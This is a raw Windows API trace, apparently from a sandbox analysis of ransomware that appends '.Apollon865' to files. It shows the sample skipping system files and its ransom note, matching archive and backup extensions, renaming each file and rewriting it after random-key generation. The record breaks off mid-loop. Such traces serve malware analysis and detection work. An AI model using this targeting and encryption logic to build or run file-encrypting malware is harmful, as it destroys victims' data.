	[0053.941] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.941] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.942] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0053.942] CloseHandle (hObject=0x118) returned 1
	[0053.942] CloseHandle (hObject=0x150) returned 1
	[0053.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.943] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f83e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CodeFile.zip", cAlternateFileName="")) returned 1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2=".") returned 1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="..") returned 1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="windows") returned -1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="bootmgr") returned 1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="temp") returned -1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="pagefile.sys") returned -1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="boot") returned 1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="ids.txt") returned -1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="ntuser.dat") returned -1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="perflogs") returned -1
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2="MSBuild") returned -1
	[0053.943] lstrlenW (lpString="CodeFile.zip") returned 12
	[0053.943] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip") returned 101
	[0053.943] lstrcpyW (in: lpString1=0x2d3e608, lpString2="CodeFile.zip" | out: lpString1="CodeFile.zip") returned="CodeFile.zip"
	[0053.943] lstrlenW (lpString="CodeFile.zip") returned 12
	[0053.943] lstrlenW (lpString="Apollon865") returned 10
	[0053.943] lstrcmpiW (lpString1="deFile.zip", lpString2="Apollon865") returned 1
	[0053.943] lstrlenW (lpString=".dll") returned 4
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2=".dll") returned 1
	[0053.943] lstrlenW (lpString=".lnk") returned 4
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2=".lnk") returned 1
	[0053.943] lstrlenW (lpString=".ini") returned 4
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2=".ini") returned 1
	[0053.943] lstrlenW (lpString=".sys") returned 4
	[0053.943] lstrcmpiW (lpString1="CodeFile.zip", lpString2=".sys") returned 1
	[0053.943] lstrlenW (lpString="CodeFile.zip") returned 12
	[0053.943] lstrlenW (lpString="bak") returned 3
	[0053.943] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.943] lstrlenW (lpString="ba_") returned 3
	[0053.943] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.943] lstrlenW (lpString="dbb") returned 3
	[0053.944] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.944] lstrlenW (lpString="vmdk") returned 4
	[0053.944] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.944] lstrlenW (lpString="rar") returned 3
	[0053.944] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.944] lstrlenW (lpString="zip") returned 3
	[0053.944] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.944] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip.Apollon865") returned 115
	[0053.944] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.945] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=546) returned 1
	[0053.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.945] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.946] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.946] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.946] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x154
	[0053.949] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x120000
	[0053.968] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.968] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.968] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.969] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0053.969] CloseHandle (hObject=0x154) returned 1
	[0053.969] CloseHandle (hObject=0x150) returned 1
	[0053.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.969] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DataSet.zip", cAlternateFileName="")) returned 1
	[0053.969] lstrcmpiW (lpString1="DataSet.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.969] lstrcmpiW (lpString1="DataSet.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.969] lstrcmpiW (lpString1="DataSet.zip", lpString2=".") returned 1
	[0053.969] lstrcmpiW (lpString1="DataSet.zip", lpString2="..") returned 1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="windows") returned -1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="bootmgr") returned 1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="temp") returned -1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="pagefile.sys") returned -1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="boot") returned 1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="ids.txt") returned -1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="ntuser.dat") returned -1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="perflogs") returned -1
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2="MSBuild") returned -1
	[0053.970] lstrlenW (lpString="DataSet.zip") returned 11
	[0053.970] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip") returned 104
	[0053.970] lstrcpyW (in: lpString1=0x2d3e608, lpString2="DataSet.zip" | out: lpString1="DataSet.zip") returned="DataSet.zip"
	[0053.970] lstrlenW (lpString="DataSet.zip") returned 11
	[0053.970] lstrlenW (lpString="Apollon865") returned 10
	[0053.970] lstrcmpiW (lpString1="ataSet.zip", lpString2="Apollon865") returned 1
	[0053.970] lstrlenW (lpString=".dll") returned 4
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2=".dll") returned 1
	[0053.970] lstrlenW (lpString=".lnk") returned 4
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2=".lnk") returned 1
	[0053.970] lstrlenW (lpString=".ini") returned 4
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2=".ini") returned 1
	[0053.970] lstrlenW (lpString=".sys") returned 4
	[0053.970] lstrcmpiW (lpString1="DataSet.zip", lpString2=".sys") returned 1
	[0053.970] lstrlenW (lpString="DataSet.zip") returned 11
	[0053.970] lstrlenW (lpString="bak") returned 3
	[0053.970] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.970] lstrlenW (lpString="ba_") returned 3
	[0053.970] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.970] lstrlenW (lpString="dbb") returned 3
	[0053.970] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.970] lstrlenW (lpString="vmdk") returned 4
	[0053.970] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.970] lstrlenW (lpString="rar") returned 3
	[0053.970] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.970] lstrlenW (lpString="zip") returned 3
	[0053.971] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.971] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip.Apollon865") returned 114
	[0053.971] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.972] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1177) returned 1
	[0053.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.972] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.973] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.973] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.973] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154
	[0053.974] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000
	[0053.976] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.977] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.977] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.977] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.977] CloseHandle (hObject=0x154) returned 1
	[0053.977] CloseHandle (hObject=0x150) returned 1
	[0053.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.978] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="EMPTYD~1.ZIP")) returned 1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".") returned 1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="..") returned 1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="windows") returned -1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="bootmgr") returned 1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="temp") returned -1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="pagefile.sys") returned -1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="boot") returned 1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="ids.txt") returned -1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="ntuser.dat") returned -1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="perflogs") returned -1
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="MSBuild") returned -1
	[0053.978] lstrlenW (lpString="EmptyDatabase.zip") returned 17
	[0053.978] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip") returned 103
	[0053.978] lstrcpyW (in: lpString1=0x2d3e608, lpString2="EmptyDatabase.zip" | out: lpString1="EmptyDatabase.zip") returned="EmptyDatabase.zip"
	[0053.978] lstrlenW (lpString="EmptyDatabase.zip") returned 17
	[0053.978] lstrlenW (lpString="Apollon865") returned 10
	[0053.978] lstrcmpiW (lpString1="tabase.zip", lpString2="Apollon865") returned 1
	[0053.978] lstrlenW (lpString=".dll") returned 4
	[0053.978] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".dll") returned 1
	[0053.978] lstrlenW (lpString=".lnk") returned 4
	[0053.979] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".lnk") returned 1
	[0053.979] lstrlenW (lpString=".ini") returned 4
	[0053.979] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".ini") returned 1
	[0053.979] lstrlenW (lpString=".sys") returned 4
	[0053.979] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".sys") returned 1
	[0053.979] lstrlenW (lpString="EmptyDatabase.zip") returned 17
	[0053.979] lstrlenW (lpString="bak") returned 3
	[0053.979] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.979] lstrlenW (lpString="ba_") returned 3
	[0053.979] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.979] lstrlenW (lpString="dbb") returned 3
	[0053.979] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.979] lstrlenW (lpString="vmdk") returned 4
	[0053.979] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.979] lstrlenW (lpString="rar") returned 3
	[0053.979] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.979] lstrlenW (lpString="zip") returned 3
	[0053.979] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.979] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip.Apollon865") returned 120
	[0053.979] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.980] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=833) returned 1
	[0053.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.980] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.981] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.981] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.981] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x650, lpName=0x0) returned 0x154
	[0053.983] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x650) returned 0x100000
	[0054.000] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.001] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.001] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.002] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.002] CloseHandle (hObject=0x154) returned 1
	[0054.002] CloseHandle (hObject=0x150) returned 1
	[0054.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.002] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x585, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1
	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2=".") returned 1
	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2="..") returned 1
